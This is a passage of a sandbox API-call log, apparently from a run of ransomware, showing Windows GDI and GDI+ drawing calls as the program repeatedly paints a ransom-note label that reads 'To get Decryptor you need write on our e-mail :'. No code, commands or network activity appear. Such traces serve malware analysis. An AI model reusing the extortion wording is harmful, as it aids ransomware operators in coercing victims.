[0286.733] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.733] GetWindowTextLengthW (hWnd=0x102a8) returned 47
[0286.733] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2f
[0286.733] GetSystemMetrics (nIndex=42) returned 0
[0286.733] GetWindowTextW (in: hWnd=0x102a8, lpString=0x2ebe60, nMaxCount=48 | out: lpString="To get Decryptor you need write on our e-mail :") returned 47
[0286.733] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xd, wParam=0x30, lParam=0x2ebe60) returned 0x2f
[0286.733] GetClientRect (in: hWnd=0x102a8, lpRect=0x2ec068 | out: lpRect=0x2ec068) returned 1
[0286.733] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.734] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.734] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.734] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.734] SaveDC (hdc=0x2010b40) returned 1
[0286.735] GetNearestColor (hdc=0x2010b40, color=0x80) returned 0x80
[0286.735] CreateSolidBrush (color=0x80) returned 0x211007d3
[0286.735] FillRect (hDC=0x2010b40, lprc=0x2ebd58, hbr=0x211007d3) returned 1
[0286.735] DeleteObject (ho=0x211007d3) returned 1
[0286.735] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.736] GetWindowTextLengthW (hWnd=0x102a8) returned 47
[0286.736] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2f
[0286.736] GetSystemMetrics (nIndex=42) returned 0
[0286.736] GetWindowTextW (in: hWnd=0x102a8, lpString=0x2ebe60, nMaxCount=48 | out: lpString="To get Decryptor you need write on our e-mail :") returned 47
[0286.736] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xd, wParam=0x30, lParam=0x2ebe60) returned 0x2f
[0286.736] IsAppThemed () returned 0x1
[0286.736] GetThemeAppProperties () returned 0x3
[0286.736] GetThemeAppProperties () returned 0x3
[0286.736] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=1) returned 0x3080b87
[0286.737] GdipCreateFromHDC (hdc=0x2010b40, graphics=0x2ebf48) returned 0x0
[0286.737] GdipSetPageUnit (graphics=0x1c5a7fc0, unit=0x2) returned 0x0
[0286.737] GdipCreateMatrix (matrix=0x2ebe40) returned 0x0
[0286.737] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.737] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebea8) returned 0x0
[0286.738] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.738] GdipCreateRegion (region=0x2ebe40) returned 0x0
[0286.738] GdipGetClip (graphics=0x1c5a7fc0, region=0x1c5a8390) returned 0x0
[0286.738] GdipIsInfiniteRegion (region=0x1c5a8390, graphics=0x1c5a7fc0, result=0x2ebea0) returned 0x0
[0286.738] GdipDeleteRegion (region=0x1c5a8390) returned 0x0
[0286.739] GdipSaveGraphics (graphics=0x1c5a7fc0, state=0x2ebf40) returned 0x0
[0286.739] IsAppThemed () returned 0x1
[0286.739] GetThemeAppProperties () returned 0x3
[0286.739] GetThemeAppProperties () returned 0x3
[0286.739] IsAppThemed () returned 0x1
[0286.739] GetThemeAppProperties () returned 0x3
[0286.739] GetThemeAppProperties () returned 0x3
[0286.739] IsThemePartDefined () returned 0x1
[0286.739] GdipGetTextRenderingHint (graphics=0x1c5a7fc0, mode=0x2ebd38) returned 0x0
[0286.739] GdipCreateRegion (region=0x2ebbb0) returned 0x0
[0286.739] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.740] GdipCreateMatrix (matrix=0x2ebbb0) returned 0x0
[0286.740] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.740] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebc18) returned 0x0
[0286.740] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.740] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.741] LocalFree (hMem=0x1de51510) returned 0x0
[0286.741] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.741] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc80) returned 0x0
[0286.741] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.741] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc88) returned 0x0
[0286.742] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.742] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.742] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.742] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.742] SaveDC (hdc=0x2010b40) returned 1
[0286.743] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x27f71c8 | out: lppt=0x27f71c8) returned 1
[0286.743] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.743] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eba80 | out: pv=0x2eba80) returned 92
[0286.743] SelectObject (hdc=0x2010b40, h=0x50a0b98) returned 0x18a002e
[0286.744] DrawTextExW (in: hdc=0x2010b40, lpchText="To get Decryptor you need write on our e-mail :", cchText=47, lprc=0x2ebd38, format=0x2410, lpdtp=0x27f71e0 | out: lpchText="To get Decryptor you need write on our e-mail :", lprc=0x2ebd38) returned 14
[0286.744] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.744] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.744] GdipGetTextRenderingHint (graphics=0x1c5a7fc0, mode=0x2ebd08) returned 0x0
[0286.745] GdipCreateRegion (region=0x2ebb80) returned 0x0
[0286.745] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.745] GdipCreateMatrix (matrix=0x2ebb80) returned 0x0
[0286.745] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.745] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebbe8) returned 0x0
[0286.745] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.745] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.746] LocalFree (hMem=0x1de51510) returned 0x0
[0286.746] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.746] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc50) returned 0x0
[0286.746] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.746] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc58) returned 0x0
[0286.746] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.747] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.747] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.747] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.747] SaveDC (hdc=0x2010b40) returned 1
[0286.747] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x27f75e0 | out: lppt=0x27f75e0) returned 1
[0286.747] GetTextAlign (hdc=0x2010b40) returned 0x0
[0286.748] GetTextColor (hdc=0x2010b40) returned 0x0
[0286.748] SetTextColor (hdc=0x2010b40, color=0xffff) returned 0x0
[0286.748] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.748] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eb820 | out: pv=0x2eb820) returned 92
[0286.748] SelectObject (hdc=0x2010b40, h=0x50a0b98) returned 0x18a002e
[0286.749] GetBkMode (hdc=0x2010b40) returned 2
[0286.749] SetBkMode (hdc=0x2010b40, mode=1) returned 2
[0286.749] DrawTextExW (in: hdc=0x2010b40, lpchText="To get Decryptor you need write on our e-mail :", cchText=47, lprc=0x2ebc78, format=0x2010, lpdtp=0x27f77e0 | out: lpchText="To get Decryptor you need write on our e-mail :", lprc=0x2ebc78) returned 14
[0286.749] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.750] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.750] GetDC (hWnd=0x0) returned 0x2010a5c
[0286.750] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2ebd28) returned 0x0
[0286.751] GdipGetFontHeight (font=0x1c5af110, graphics=0x1cb7d7c0, height=0x2ebd24) returned 0x0
[0286.751] GdipDeleteGraphics (graphics=0x1cb7d7c0) returned 0x0
[0286.751] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0286.751] GetDC (hWnd=0x0) returned 0x2010a5c
[0286.751] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2ebd28) returned 0x0
[0286.751] GdipGetFontHeight (font=0x1c5af110, graphics=0x1cb7d7c0, height=0x2ebd24) returned 0x0
[0286.753] GdipDeleteGraphics (graphics=0x1cb7d7c0) returned 0x0
[0286.754] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0286.754] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.754] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.754] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.754] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.754] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebbd8) returned 0x0
[0286.755] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.755] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.755] LocalFree (hMem=0x1de51510) returned 0x0
[0286.755] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.755] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.755] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.755] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.756] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.756] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.756] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.756] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.756] SaveDC (hdc=0x2010b40) returned 1
[0286.756] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x27f7bc8 | out: lppt=0x27f7bc8) returned 1
[0286.757] IsAppThemed () returned 0x1
[0286.757] GetThemeAppProperties () returned 0x3
[0286.757] GetThemeAppProperties () returned 0x3
[0286.757] DrawThemeBackground () returned 0x0
[0286.757] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.757] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.757] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.757] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.757] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.758] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af510) returned 0x0
[0286.758] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebbd8) returned 0x0
[0286.758] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.758] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.758] LocalFree (hMem=0x1de51510) returned 0x0
[0286.758] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.758] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.759] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.759] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.759] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.759] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.759] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.759] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.760] SaveDC (hdc=0x2010b40) returned 1
[0286.760] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x27f8020 | out: lppt=0x27f8020) returned 1
[0286.760] IsAppThemed () returned 0x1
[0286.760] GetThemeAppProperties () returned 0x3
[0286.760] GetThemeAppProperties () returned 0x3
[0286.760] DrawThemeBackground () returned 0x0
[0286.760] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.761] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.761] GdipCreateRegion (region=0x2ebb70) returned 0x0
[0286.761] GdipGetClip (graphics=0x1c5a7fc0, region=0x1cb7d7c0) returned 0x0
[0286.761] GdipCreateMatrix (matrix=0x2ebb70) returned 0x0
[0286.761] GdipGetWorldTransform (graphics=0x1c5a7fc0, matrix=0x1c5af550) returned 0x0
[0286.761] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebbd8) returned 0x0
[0286.762] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.762] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.762] LocalFree (hMem=0x1de51510) returned 0x0
[0286.762] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.762] GdipIsInfiniteRegion (region=0x1cb7d7c0, graphics=0x1c5a7fc0, result=0x2ebc40) returned 0x0
[0286.762] GdipDeleteRegion (region=0x1cb7d7c0) returned 0x0
[0286.762] GdipGetDC (graphics=0x1c5a7fc0, hdc=0x2ebc48) returned 0x0
[0286.763] GetCurrentObject (hdc=0x2010b40, type=0x1) returned 0x1b00017
[0286.763] GetCurrentObject (hdc=0x2010b40, type=0x2) returned 0x1900010
[0286.763] GetCurrentObject (hdc=0x2010b40, type=0x7) returned 0x1050032
[0286.763] GetCurrentObject (hdc=0x2010b40, type=0x6) returned 0x18a002e
[0286.763] SaveDC (hdc=0x2010b40) returned 1
[0286.763] OffsetViewportOrgEx (in: hdc=0x2010b40, x=0, y=0, lppt=0x27f8478 | out: lppt=0x27f8478) returned 1
[0286.764] IsAppThemed () returned 0x1
[0286.764] GetThemeAppProperties () returned 0x3
[0286.764] GetThemeAppProperties () returned 0x3
[0286.764] DrawThemeBackground () returned 0x0
[0286.764] RestoreDC (hdc=0x2010b40, nSavedDC=-1) returned 1
[0286.764] GdipReleaseDC (graphics=0x1c5a7fc0, hdc=0x2010b40) returned 0x0
[0286.764] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0286.764] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=0) returned 0x3080b87
[0286.764] SelectPalette (hdc=0x2010b40, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0286.765] EndPaint (hWnd=0x102a8, lpPaint=0x2ebfb8) returned 1
[0286.765] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0
[0286.765] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.765] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0x14, wParam=0x2010b40, lParam=0x0) returned 0x1
[0286.765] GetWindowTextLengthW (hWnd=0x102a8) returned 47
[0286.765] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2f
[0286.765] GetSystemMetrics (nIndex=42) returned 0
[0286.765] GetWindowTextW (in: hWnd=0x102a8, lpString=0x2eb3e0, nMaxCount=48 | out: lpString="To get Decryptor you need write on our e-mail :") returned 47
[0286.765] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xd, wParam=0x30, lParam=0x2eb3e0) returned 0x2f
[0286.766] GetClientRect (in: hWnd=0x102a8, lpRect=0x2eb5e8 | out: lpRect=0x2eb5e8) returned 1
[0286.766] GetCurrentObject (hdc=0x1b010b4c, type=0x1) returned 0x1b00017
[0286.766] GetCurrentObject (hdc=0x1b010b4c, type=0x2) returned 0x1900010
[0286.766] GetCurrentObject (hdc=0x1b010b4c, type=0x7) returned 0x6050b85
[0286.766] GetCurrentObject (hdc=0x1b010b4c, type=0x6) returned 0x18a002e
[0286.766] SaveDC (hdc=0x1b010b4c) returned 1
[0286.767] GetNearestColor (hdc=0x1b010b4c, color=0x80) returned 0x80
[0286.767] CreateSolidBrush (color=0x80) returned 0x221007d3
[0286.767] FillRect (hDC=0x1b010b4c, lprc=0x2eb2d8, hbr=0x221007d3) returned 1
[0286.767] DeleteObject (ho=0x221007d3) returned 1
[0286.768] RestoreDC (hdc=0x1b010b4c, nSavedDC=-1) returned 1
[0286.768] GetWindowTextLengthW (hWnd=0x102a8) returned 47
[0286.768] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2f
[0286.768] GetSystemMetrics (nIndex=42) returned 0
[0286.768] GetWindowTextW (in: hWnd=0x102a8, lpString=0x2eb3e0, nMaxCount=48 | out: lpString="To get Decryptor you need write on our e-mail :") returned 47
[0286.768] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xd, wParam=0x30, lParam=0x2eb3e0) returned 0x2f
[0286.768] IsAppThemed () returned 0x1
[0286.768] GetThemeAppProperties () returned 0x3
[0286.768] GetThemeAppProperties () returned 0x3
[0286.768] SelectPalette (hdc=0x1b010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.768] GdipCreateFromHDC (hdc=0x1b010b4c, graphics=0x2eb4c8) returned 0x0
[0286.769] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0286.769] GdipCreateMatrix (matrix=0x2eb3c0) returned 0x0
[0286.769] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.769] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2eb428) returned 0x0
[0286.769] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.769] GdipCreateRegion (region=0x2eb3c0) returned 0x0
[0286.770] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.770] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb420) returned 0x0
[0286.770] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.770] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2eb4c0) returned 0x0
[0286.770] IsAppThemed () returned 0x1
[0286.770] GetThemeAppProperties () returned 0x3
[0286.770] GetThemeAppProperties () returned 0x3
[0286.770] IsAppThemed () returned 0x1
[0286.770] GetThemeAppProperties () returned 0x3
[0286.770] GetThemeAppProperties () returned 0x3
[0286.770] IsThemePartDefined () returned 0x1
[0286.770] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2eb2b8) returned 0x0
[0286.771] GdipCreateRegion (region=0x2eb130) returned 0x0
[0286.771] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.771] GdipCreateMatrix (matrix=0x2eb130) returned 0x0
[0286.771] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.771] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2eb198) returned 0x0
[0286.771] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.771] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.771] LocalFree (hMem=0x1de51510) returned 0x0
[0286.772] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.772] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb200) returned 0x0
[0286.772] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.772] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eb208) returned 0x0
[0286.772] GetCurrentObject (hdc=0x1b010b4c, type=0x1) returned 0x1b00017
[0286.772] GetCurrentObject (hdc=0x1b010b4c, type=0x2) returned 0x1900010
[0286.772] GetCurrentObject (hdc=0x1b010b4c, type=0x7) returned 0x6050b85
[0286.773] GetCurrentObject (hdc=0x1b010b4c, type=0x6) returned 0x18a002e
[0286.773] SaveDC (hdc=0x1b010b4c) returned 1
[0286.773] OffsetViewportOrgEx (in: hdc=0x1b010b4c, x=0, y=0, lppt=0x27f9328 | out: lppt=0x27f9328) returned 1
[0286.773] GetCurrentObject (hdc=0x1b010b4c, type=0x6) returned 0x18a002e
[0286.773] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eb000 | out: pv=0x2eb000) returned 92
[0286.774] SelectObject (hdc=0x1b010b4c, h=0x50a0b98) returned 0x18a002e
[0286.774] DrawTextExW (in: hdc=0x1b010b4c, lpchText="To get Decryptor you need write on our e-mail :", cchText=47, lprc=0x2eb2b8, format=0x2410, lpdtp=0x27f9340 | out: lpchText="To get Decryptor you need write on our e-mail :", lprc=0x2eb2b8) returned 14
[0286.774] RestoreDC (hdc=0x1b010b4c, nSavedDC=-1) returned 1
[0286.774] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1b010b4c) returned 0x0
[0286.775] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2eb288) returned 0x0
[0286.775] GdipCreateRegion (region=0x2eb100) returned 0x0
[0286.775] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.775] GdipCreateMatrix (matrix=0x2eb100) returned 0x0
[0286.775] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.775] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2eb168) returned 0x0
[0286.775] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.776] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.776] LocalFree (hMem=0x1de51510) returned 0x0
[0286.776] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.776] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb1d0) returned 0x0
[0286.776] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.776] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eb1d8) returned 0x0
[0286.776] GetCurrentObject (hdc=0x1b010b4c, type=0x1) returned 0x1b00017
[0286.777] GetCurrentObject (hdc=0x1b010b4c, type=0x2) returned 0x1900010
[0286.777] GetCurrentObject (hdc=0x1b010b4c, type=0x7) returned 0x6050b85
[0286.777] GetCurrentObject (hdc=0x1b010b4c, type=0x6) returned 0x18a002e
[0286.777] SaveDC (hdc=0x1b010b4c) returned 1
[0286.777] OffsetViewportOrgEx (in: hdc=0x1b010b4c, x=0, y=0, lppt=0x27f9740 | out: lppt=0x27f9740) returned 1
[0286.777] GetTextAlign (hdc=0x1b010b4c) returned 0x0
[0286.778] GetTextColor (hdc=0x1b010b4c) returned 0x0
[0286.778] SetTextColor (hdc=0x1b010b4c, color=0xffff) returned 0x0
[0286.778] GetCurrentObject (hdc=0x1b010b4c, type=0x6) returned 0x18a002e
[0286.778] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eada0 | out: pv=0x2eada0) returned 92
[0286.778] SelectObject (hdc=0x1b010b4c, h=0x50a0b98) returned 0x18a002e
[0286.779] GetBkMode (hdc=0x1b010b4c) returned 2
[0286.779] SetBkMode (hdc=0x1b010b4c, mode=1) returned 2
[0286.779] DrawTextExW (in: hdc=0x1b010b4c, lpchText="To get Decryptor you need write on our e-mail :", cchText=47, lprc=0x2eb1f8, format=0x2010, lpdtp=0x27f9940 | out: lpchText="To get Decryptor you need write on our e-mail :", lprc=0x2eb1f8) returned 14
[0286.779] RestoreDC (hdc=0x1b010b4c, nSavedDC=-1) returned 1
[0286.779] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1b010b4c) returned 0x0
[0286.780] GetDC (hWnd=0x0) returned 0x2010a5c
[0286.780] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2eb2a8) returned 0x0
[0286.780] GdipGetFontHeight (font=0x1c5af110, graphics=0x1cb7dad0, height=0x2eb2a4) returned 0x0
[0286.780] GdipDeleteGraphics (graphics=0x1cb7dad0) returned 0x0
[0286.780] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0286.781] GetDC (hWnd=0x0) returned 0x2010a5c
[0286.781] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2eb2a8) returned 0x0
[0286.781] GdipGetFontHeight (font=0x1c5af110, graphics=0x1cb7dad0, height=0x2eb2a4) returned 0x0
[0286.781] GdipDeleteGraphics (graphics=0x1cb7dad0) returned 0x0
[0286.781] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0286.781] GdipCreateRegion (region=0x2eb0f0) returned 0x0
[0286.782] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.782] GdipCreateMatrix (matrix=0x2eb0f0) returned 0x0
[0286.782] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.782] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2eb158) returned 0x0
[0286.782] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.782] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.782] LocalFree (hMem=0x1de51510) returned 0x0
[0286.783] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.793] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb1c0) returned 0x0
[0286.793] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.793] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eb1c8) returned 0x0
[0286.793] GetCurrentObject (hdc=0x1b010b4c, type=0x1) returned 0x1b00017
[0286.793] GetCurrentObject (hdc=0x1b010b4c, type=0x2) returned 0x1900010
[0286.793] GetCurrentObject (hdc=0x1b010b4c, type=0x7) returned 0x6050b85
[0286.794] GetCurrentObject (hdc=0x1b010b4c, type=0x6) returned 0x18a002e
[0286.794] SaveDC (hdc=0x1b010b4c) returned 1
[0286.794] OffsetViewportOrgEx (in: hdc=0x1b010b4c, x=0, y=0, lppt=0x27f9d28 | out: lppt=0x27f9d28) returned 1
[0286.794] IsAppThemed () returned 0x1
[0286.794] GetThemeAppProperties () returned 0x3
[0286.794] GetThemeAppProperties () returned 0x3
[0286.794] DrawThemeBackground () returned 0x0
[0286.794] RestoreDC (hdc=0x1b010b4c, nSavedDC=-1) returned 1
[0286.795] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1b010b4c) returned 0x0
[0286.795] GdipCreateRegion (region=0x2eb0f0) returned 0x0
[0286.795] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.795] GdipCreateMatrix (matrix=0x2eb0f0) returned 0x0
[0286.795] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.795] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2eb158) returned 0x0
[0286.796] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.796] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.796] LocalFree (hMem=0x1de51510) returned 0x0
[0286.796] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.796] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb1c0) returned 0x0
[0286.796] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.797] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eb1c8) returned 0x0
[0286.797] GetCurrentObject (hdc=0x1b010b4c, type=0x1) returned 0x1b00017
[0286.797] GetCurrentObject (hdc=0x1b010b4c, type=0x2) returned 0x1900010
[0286.797] GetCurrentObject (hdc=0x1b010b4c, type=0x7) returned 0x6050b85
[0286.797] GetCurrentObject (hdc=0x1b010b4c, type=0x6) returned 0x18a002e
[0286.797] SaveDC (hdc=0x1b010b4c) returned 1
[0286.798] OffsetViewportOrgEx (in: hdc=0x1b010b4c, x=0, y=0, lppt=0x27fa180 | out: lppt=0x27fa180) returned 1
[0286.798] IsAppThemed () returned 0x1
[0286.798] GetThemeAppProperties () returned 0x3
[0286.798] GetThemeAppProperties () returned 0x3
[0286.798] DrawThemeBackground () returned 0x0
